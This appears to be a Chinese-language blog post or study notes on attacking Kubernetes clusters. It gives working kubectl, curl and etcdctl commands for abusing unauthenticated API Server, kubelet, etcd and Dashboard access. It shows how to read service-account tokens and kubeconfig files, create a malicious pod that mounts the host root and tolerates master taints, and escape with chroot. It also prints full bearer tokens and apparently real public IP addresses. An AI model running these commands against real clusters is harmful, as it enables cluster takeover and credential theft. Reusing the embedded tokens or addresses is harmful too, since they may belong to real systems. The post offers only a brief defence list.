k8s 攻防
k8s架构参考 - https://www.cnblogs.com/yuy0ung/articles/19136743,讲的很透彻


假如用户想在集群里面新建一个POD,工作流程是怎样的

未授权
API Server 未授权
API Server默认服务端口-8080, 6443,8080端口提供HTTP服务,没有认证与授权机制,6443端口同样提供HTTP服务,但支持认证和授权。
默认8080端口不启动,若开启会导致未授权。
使用kubectl利用
1 | kubectl -s http://<target>:8080 get nodes |

访问特定API获取token
访问/api/v1/namespaces/kube-system/secrets/来获取token

然后利用token,6443端口做server去进一步渗透
1 | kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkFsOFNCY3huSVc2aElRNVJfX1NpbENZcG9ILWdtc25zb0JDNnN6SHVjcTQifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJhcmdvY2QtbWFuYWdlci1sb25nLWxpdmVkLXRva2VuIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImFyZ29jZC1tYW5hZ2VyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiYmQwNzE2ZjktN2UzZS00NTFlLWIzOTktNDY4MTYxMzNhODAzIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOmFyZ29jZC1tYW5hZ2VyIn0.R9VGpWV_rexLuc8XP4CvLQ9ItnCsbbIoa1EYf0EeFlCSdXxTL4_5sIkciM9XLzaqR6IFjjWkt-LiK8iZFauraqlnWXHUCFv-KezopZoj4W919QvwKnEE_JZL6wrEXGj4S-9LwJYX6zZ-d9KLm_FI7_S3Mg9JeCIKEVVMqwU1cUuktddieyTwjBn-gFPZU7WqULRhJ6zN9ErwvOae7KadnckiMH7VznketE1PyoBjBVN3pT3ZJZtyrjNu8H4Ag5O7T-lRoIfVYN5JNfxvj8B9AeO8LHqL7MsO3W5fQhZr3S0k9CXE_hfQyAIWx42HbK4bUL0Tb7G606LeOF9d2uiRRA -s https://34.131.94.136:6443/ exec -n default -it demo123 -- bash |
但可能目标配置,token只对特定的内网IP有效

获取Secrets资源
在k8s中,secret对象用于存储密码,OAuth令牌等敏感信息,可以从中窃取其他服务的通信凭证
1 | //列出secrets资源 |

base64解密.dockerconfigjson得到registry用户密码敏感信息

当6443端口开放,若不使用凭证访问则会被服务器标记为system:anonymous用户,访问会是401

但是若配置不当,system:anonumous被误添加至集群管理员组cluster-admin,则也会发生未授权,导致集群失陷。
kubelet 未授权
每一个Node节点都有Kubelet服务,kubelet监听10250, 10248, 10255等端口
其中10250端口是与Api server进行通信的主要端口,若开启了匿名请求,就可以不带鉴权信息使用10250端口提供的能力

可以直接访问http://xx.xx.xx.xxx:10250/pods未授权获取到集群的详细信息
可以在任意容器中执行命令curl -k https://kubernetes-node-ip:10250/run/<namespace>/<pod-name>/<container-name> -d "cmd=id"
利用执行命令cat /var/run/secrets/kubernetes.io/serviceaccount/token,可以拿pod的serviceAccount的Token凭据,能拿到高权限的凭证可以横向到Master
根据访问/pods获取到的每个pod的配置信息,快速筛选出可以利用的特权容器来进行容器逃逸

但是10250端口目前默认是鉴权的。
10255端口为只读端口read only,默认不对外开放,对外开放如下配置config.yaml

若10255只读端口对外开放,也可以通过http://xx.xx.xx.xx:10255/pods访问pods的详细配置信息,但是不能像10250端口那样执行命令了
除了直接在浏览器中http访问,也可以用kubletectl - kubeletctl pods --server xx.xx.xx.xx --http --port=10255
只能读到一些敏感信息,利用面较小
如何防御
(1) 禁止匿名访问
(2) 启用X509客户端证书认证
(3) 禁止只读端口
(4) 实施网络隔离,限制对kublete端口的访问
(5) 定期审计kubelet访问日志
etcd 未授权
k8s使用etcd存储数据,默认监听2379端口,若该端口暴露到公网且存在未授权访问,则可能导致敏感信息泄露,攻击者可以通过收集的凭证来尝试接管集群
获取敏感信息目录
1 | ./etcdctl --endpoints=https://192.168.3.131:2379 --insecure-skip-tls-verify get / --prefix --keys-only | grep /secrets |

1 | ./etcdctl --endpoints=https://192.168.3.131:2379 --insecure-skip-tls-verify get /registry/secrets/kube-system/admin-token-wqz9l |

可以拿到高权限cluster-admin集群管理员的token
1 | eyJhbGciOiJSUzI1NiIsImtpZCI6IjU1a0o1YnJPRUIzZXExeW1NeXhka21PLVBzc18xT1l1SXBvb28xSm8yc0kifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJhZG1pbi10b2tlbi13cXo5bCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJhZG1pbiIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjAxOTMzZDIwLWI2Y2EtNGZiNC04MTBjLTU4N2E2YTFlNTAyYyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlLXN5c3RlbTphZG1pbiJ9.ttsHU8viUVQMjMOsjlRmNGFdfKpcH-5tZV6hLvJa8NAS4iRWJcKmQLVyTlTtWIzPgST2YzvxGwArcwDutyvbhF19G-7CtsEA8ALBEa1OKBkstzk-bOyy1X7lVsfeuTBZP3fjIxMhunUZs8Ht6dCbqclnQvANrmQB_09PwGuTIU_3zHaZF6hV2r6uf_FkQbWMihupsaoJCdq7T1WRv1pcXxbeuentH07LVaJSVOhcXbP0EKqlNivdpLY1ktUzR4tzskbClSO4qZUtOILEz8H72ef6pBbmiiizH4XAkCx4LT-urSxU1Sa7EfLzBNUzvCJMHqwSJHfRz0GNHuf7kHZEJw#kubernetes.io/service-account-token |
192.168.3.131是API Server,可以直接用这个token



K8s Dashboard 未授权
默认端口-8001
若用户为了方便,开启enable-skip-login,可以在登陆页面点击 “跳过登陆”

跳过登陆后,可以直接进入后台dashboard
跳过登陆默认是使用Kubernetes-dashboard默认服务账户,这样还不够,没有集群管理员权限
但是有些开发者为了方便,将Kubernetes-dashboard账号绑定cluster-admin集群管理员角色么,配置示例如下所示
1 | apiVersion: rbac.authorization.k8s.io/v1 |
最后通过创建恶意pod来进一步接管集群

横向移动
Pod - Service Account Token
kubernets中,每个pod关联一个Service Account,kubernetes会自动为其生成一个token,并将这个token放在pod的文件系统中,默认路径为/var/run/secrets/kubernetes.io/serviceaccount/token,这个token被用于与API Server进行认证,允许Pod根据其Service Account的权限进行API调用,从外网打进去获取Pod权限后,可以尝试读取该Service Account的Token,若该Service Account权限过高,则可以直接横向至Master
Node - kubeconfig
利用Docker容器逃逸,从pod逃逸至Node节点宿主机后,可以获取Node节点的kubeconfig文件,kubeconfig文件是用于配制集群访问的文件,该文件用来组织有关集群、用户、命名空间和身份认证机制的信息,包括集群的apiserver地址和登录凭证,如果攻击者获取到该文件,就可以使用该凭证访问k8s集群
1 | cat /root/.kube/config |
同理可以用kubectl来看当前获取到的kubeconfig的权限
1 | 检查我是否可以在当前命名空间中执行所有操作("*" 表示全部) |
若是可以创建恶意Pod,则可以尝试污点横向至Master了
污点横向
kubernets中,污点Taints和容忍Tolerations是一种机制,用来控制哪些Pod可以/不能被调度到具有特定标记的节点上
(1) 污点Tainted
1 | NoSchedule:这是最常见的类型,表示不允许 Pod 被自动调度到带有此污点的节点上。只有当 Pod 具有与污点匹配的容忍度时,才能在这些节点上调度 Pod。 |
通常master节点默认添加了一个污点标记,默认是NoSchedule
(2) 容忍Tolerations
容忍允许Pod忽略节点的污点,从而可以被调度到具有特定污点的节点上。容忍指定在Pod yaml的tolerations字段中,它需要与节点的污点相匹配才能生效
可以给Pod添加容忍的声明,让挂在宿主机根目录的恶意Pod能够调度到Master节点上,这样就可以逃逸到Master宿主机了
1 | apiVersion: v1 |
如何利用
若由于权限配置问题,某个Service Account拥有在某个namespace/所有namespace创建pod的权限,就可以利用增加容忍创建恶意Pod,让恶意Pod调度至Master节点,最后逃逸,然后拿kubeconfig高权限凭据
可以直接用kubectl工具查看是否有权限,参考 - https://kubernetes.io/zh-cn/docs/reference/kubectl/generated/kubectl_auth/kubectl_auth_can-i/
1 | # 检查该Service Account是否可以在任意命名空间中创建 Pod |
权限提升 & 逃逸
Pod -> Node 逃逸
(1) Docker配置问题逃逸,如特权容器等等
(2) 利用Docker历史CVE漏洞进行逃逸
创建恶意pod
可以先看已经存在的容器是什么,再决定恶意pod使用什么容器,否则可能会出现容器拉不下来的情况
1 | kubectl -s http://34.100.182.227:8080/ get pods --all-namespaces -A |

1 | apiVersion: v1 |
1 | kubectl -s http://34.100.182.227:8080/ apply -f evilPod.yaml |
成功创建

进入容器执行命令chroot /host /bin/sh或chroot /host /bin/bash逃逸即可
命令执行
1 | //列出所有node |

进入容器执行命令
1 | //api server未授权时 |
思考
思考了一下k8s集群渗透的通用思路
(1) 外网打点拿Shell –> 发现是docker容器 –> 逃逸,获取Node权限 -> 尝试从Node横向至Master节点
(2) 从外网打进内网后,发现内网有k8s服务,可能存在API Server/etcd等未授权/其他漏洞,尝试接管集群